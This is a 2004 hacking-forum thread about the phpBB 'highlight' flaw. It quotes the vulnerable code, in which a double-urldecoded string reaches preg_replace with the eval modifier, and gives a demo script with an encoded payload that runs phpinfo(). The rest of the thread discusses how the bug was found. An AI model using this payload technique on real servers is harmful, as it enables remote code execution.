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www.waraxe.us Forum Index -> Remote file inclusion -> String PHP execution
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String PHP execution
PostPosted: Sat Dec 04, 2004 11:48 pm Reply with quote
mosymuis
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Joined: Nov 18, 2004
Posts: 3
Location: Netherlands




Hey Waraxe,

Could you tell me more about this type of PHP insertion? I'm sure you've seen Howdark.com's latest hack, wich executes PHP just by altering a string, like it was a XSS hack. I have figured out that this occurs when a double urldecoded() string passes a nested preg_quote() function, wich uses the "e" evaluate modifyer.

Code in phpBB:

Code:
$highlight_match = $highlight = '';
if (isset($HTTP_GET_VARS['highlight']))
{
   // Split words and phrases
   $words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight']))));

   for($i = 0; $i < sizeof($words); $i++)
   {
      if (trim($words[$i]) != '')
      {
         $highlight_match .= (($highlight_match != '') ? '|' : '') . str_replace('*', '\w*', phpbb_preg_quote($words[$i], '#'));
      }
   }
Code:
      $message = str_replace('\"', '"', substr(preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se', "preg_replace('#\b(" . $highlight_match . ")\b#i', '<span style=\"color:#" . $theme['fontcolor3'] . "\"><b>\\\\1</b></span>', '\\0')", '>' . $message . '<'), 1, -1));


Demo:

Code:
<? echo preg_replace('##se', "preg_replace('#" . urldecode($_GET['var']) . "#', '', '')", 'foo'); ?>

Arrow call script.php?var=%2527%252ephpinfo()%252e%2527 (decoded: '.phpinfo().')

I have two questions about this. First, are there more possibilities in PHP to accomplish this? Must this be done with two preg_replace functions, or does this technique work in other situations too? Or is this a unique example?

Second, how did Howdark figure this out?? Wink The change of finding this type of hack in a open source system like phpBB must be minimal. How did he know this was even possible, and how did he find this?

Do you have any ideas? I can't ask him myself, because he quit the whole hacking scene and shut down his website.

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PostPosted: Sun Dec 05, 2004 12:16 am Reply with quote
Leps
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Joined: Dec 03, 2004
Posts: 3




Jessica found this by looking at the way urldecode() worked in phpBB's code, and how magic_quotes affected it.

This is probabbly not the only situation this works in, as I doubt phpBB is the only software to ever process variables like this.

It's weird, because I had seen waraxe use the %2527 thing, but I don't know if it was before, or after she had used it with phpBB.
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PostPosted: Sun Dec 05, 2004 12:22 am Reply with quote
mosymuis
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Joined: Nov 18, 2004
Posts: 3
Location: Netherlands




Waraxe is a she? Confused Awesome. Wink

Leps wrote:
Jessica found this by looking at the way urldecode() worked in phpBB's code, and how magic_quotes affected it.

Ofcourse urldecode() is necessary to make it work, but I couldn't find a way to make this work without the nested preg_replace functions, with the e modifyer. Thefore I think this is the only way?

Leps wrote:
It's weird, because I had seen waraxe use the %2527 thing, but I don't know if it was before, or after she had used it with phpBB.

%2527 is just a double HEX'ed single quote. What do you mean with this?

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PostPosted: Sun Dec 05, 2004 3:14 pm Reply with quote
Leps
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she = jessica = howdark.com ^^;;
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PostPosted: Sun Dec 05, 2004 3:25 pm Reply with quote
mosymuis
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Joined: Nov 18, 2004
Posts: 3
Location: Netherlands




Leps wrote:
she = jessica = howdark.com ^^;;

I thought you ment Waraxe because of this:

Quote:
It's weird, because I had seen waraxe use the %2527 thing, but I don't know if it was before, or after she had used it with phpBB.

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>> [b]www.spammersheaven.nl[/b]
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String PHP execution
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